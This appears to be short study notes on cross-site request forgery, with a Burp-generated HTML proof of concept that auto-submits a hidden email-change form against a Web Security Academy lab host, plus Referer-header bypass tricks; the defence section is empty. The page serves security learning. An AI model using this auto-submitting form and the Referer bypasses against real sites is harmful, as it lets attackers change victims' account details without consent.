CSRF

CSRF(Cross Side Request Forgery)

	document.forms[0].submit()

Use Burp Professional BurpPOC Generator

Ways to Defend CSRF


Bypassing CSRF tokens


Bypassing Referer Headers

In the head part add Referrer-Policy: unsafe-url
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/your_website_domain')</script>
    <form action="<https://0a9300ba037f355dc021aeaa00a500e8.web-security-academy.net/my-account/change-email>" method="POST">
      <input type="hidden" name="email" value="fdgddfg&#64;fsds&#46;sdfds" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
Add the following into HTML coed
<meta name="referrer" content="never">

Last updated